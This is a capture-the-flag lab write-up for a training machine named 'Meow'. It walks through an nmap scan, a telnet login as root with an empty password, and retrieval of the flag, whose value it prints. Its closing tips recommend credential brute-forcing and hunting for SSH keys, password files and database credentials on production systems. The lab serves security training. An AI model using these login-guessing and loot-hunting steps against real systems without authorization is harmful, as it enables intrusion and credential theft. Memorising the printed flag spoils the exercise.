Penetration Testing Lab Notes

Lab 1: Meow

🎯 Objective

Perform enumeration and gain access to a target system running telnet service.

📚 Theory & Concepts

What is Enumeration?

Enumeration is the **primary setup phase** in penetration testing where we:

- Document the current state of the target
- Learn as much as possible about the target system
- Identify potential attack vectors

Key Enumeration Principles

1. **Port Scanning**: Every server uses ports to serve data to clients
2. **Service Identification**: Determine what services are running on open ports
3. **Vulnerability Assessment**: Identify potential weaknesses in discovered services

Essential Tools & Techniques

- **Nmap**: Network mapper for port scanning
- **Research Skills**: 90% of penetration testing involves internet research
- **Adaptability**: Technology continuously evolves - knowing how to find information is key

---

🛠️ Practical Implementation

Phase 1: Initial Reconnaissance

Step 1: Network Connectivity Test

```bash
# Ping target to verify connectivity
ping <target_ip>
# Use Ctrl+C to stop the ping process
```

Step 2: Port Scanning with Nmap

```bash
# Command used
sudo nmap -sV 10.129.63.149

# Flag explanation:
# -sV: Determine name and description of identified services
```

Scan Results:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-06-14 17:20 IST
Nmap scan report for 10.129.63.149
Host is up (0.48s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
23/tcp open  telnet  Linux telnetd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 294.46 seconds
```

Phase 2: Service Analysis

Telnet Service Discovery

- **Port**: 23/tcp
- **Service**: Linux telnetd
- **Status**: Open and accessible

What is Telnet?

- Legacy remote management service
- Used for remote host management on networks
- Typically requires username/password authentication
- **Security Note**: Unencrypted protocol (security risk)

Phase 3: Service Interaction

Connecting to Telnet Service

```bash
# Command
telnet 10.129.63.149
```

Connection Response:

```
Trying 10.129.63.149...
Connected to 10.129.63.149.
Escape character is '^]'.

  █  █         ▐▌     ▄█▄ █          ▄▄▄▄
  █▄▄█ ▀▀█ █▀▀ ▐▌▄▀    █  █▀█ █▀█    █▌▄█ ▄▀▀▄ ▀▄▀
  █  █ █▄█ █▄▄ ▐█▀▄    █  █ █ █▄▄    █▌▄█ ▀▄▄▀ █▀█

Meow login:
```

🔍 Analysis & Findings

Current Status

- ✅ Target is responsive (ping successful)
- ✅ Port 23 (telnet) is open and running
- ✅ Successfully connected to telnet service
- ⏳ Authentication required to proceed
- ❌ No other open ports discovered

Phase 4: Credential Discovery & Authentication

Authentication Attempts

Multiple login attempts were made using common default credentials:

```bash
# Failed attempts
Meow login: admin
Password:
Login incorrect

Meow login: administrator
Password:
Login incorrect

# Successful attempt
Meow login: root
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-77-generic x86_64)
```

System Information Upon Login:

```
System load:           0.04
Usage of /:            41.7% of 7.75GB
Memory usage:          4%
Swap usage:            0%
Processes:             135
Users logged in:       0
IPv4 address for eth0: 10.129.63.149
IPv6 address for eth0: dead:beef::250:56ff:fe94:dc12
```

Phase 5: System Access & Flag Capture

Directory Exploration

```bash
root@Meow:~# ls
flag.txt  snap
```

Flag Retrieval

```bash
root@Meow:~# cat flag.txt
b40abdfe23665f766f9c61ecba8a4c19
```

🏁 **Flag Captured:** `b40abdfe23665f766f9c61ecba8a4c19`

🔍 Analysis & Findings

Current Status

- ✅ Target is responsive (ping successful)
- ✅ Port 23 (telnet) is open and running
- ✅ Successfully connected to telnet service
- ✅ **Gained root access with default credentials**
- ✅ **Flag successfully captured**

Vulnerability Assessment

1. **Critical**: Root account with no password
2. **High**: Telnet service exposed to network
3. **Medium**: System updates pending (75 available)
4. **Low**: Unencrypted telnet communications

📝 Key Takeaways

Technical Lessons

1. **Nmap is essential** for initial reconnaissance
2. **Service version detection** (`-sV`) provides crucial information
3. **Telnet is inherently insecure** (unencrypted communications)
4. **Default credentials** are extremely common in real-world scenarios

Methodology Insights

1. **Persistence is key**: Keep trying different credentials when initial attempts fail
2. **Common default usernames**: admin, administrator, root are frequent targets
3. **Systematic approach**: Always start with connectivity testing
4. **Real-world applications**: Create scripts for automated credential testing

Attack Vectors Identified

- **Root access without password**: Critical misconfiguration
- **Unencrypted telnet**: All communications visible to network sniffers
- **Default credentials**: System deployed with insecure defaults

Real-World Scenarios

- In production environments, explore multiple files and directories:
  - `.ssh` directory for SSH keys
  - User password files
  - Sensitive configuration data
  - Database credentials

🔧 Commands Reference

Command	Purpose	Flags Used
`ping <ip>`	Test connectivity	N/A
`nmap -sV <ip>`	Port scan with service detection	`-sV`
`telnet <ip>`	Connect to telnet service	N/A
`ls`	List directory contents	N/A
`cat <filename>`	Display file contents	N/A

🎯 Credential Testing Strategy

Default Credentials Tested

Username	Password	Result
admin	(empty)	❌ Failed
administrator	(empty)	❌ Failed
root	(empty)	✅ **Success**

Best Practices for Real-World Testing

1. **Create comprehensive wordlists** for usernames and passwords
2. **Use automated tools** for credential brute-forcing
3. **Test common combinations** first (admin/admin, root/root, etc.)
4. **Document all attempts** for reporting purposes

📊 Lab Progress

- ☑ Initial reconnaissance
- ☑ Port scanning
- ☑ Service identification
- ☑ Service connection
- ☑ Credential discovery
- ☑ System access (Root privileges)
- ☑ Flag capture
- ☑ **Lab Complete** ✅

🏆 Final Results

Target: 10.129.63.149

Flag: `b40abdfe23665f766f9c61ecba8a4c19`

Access Level: Root

Time to Compromise: < 5 minutes

Critical Vulnerabilities: Root account with no password authentication

---

Lab Status: ***COMPLETED*** ✅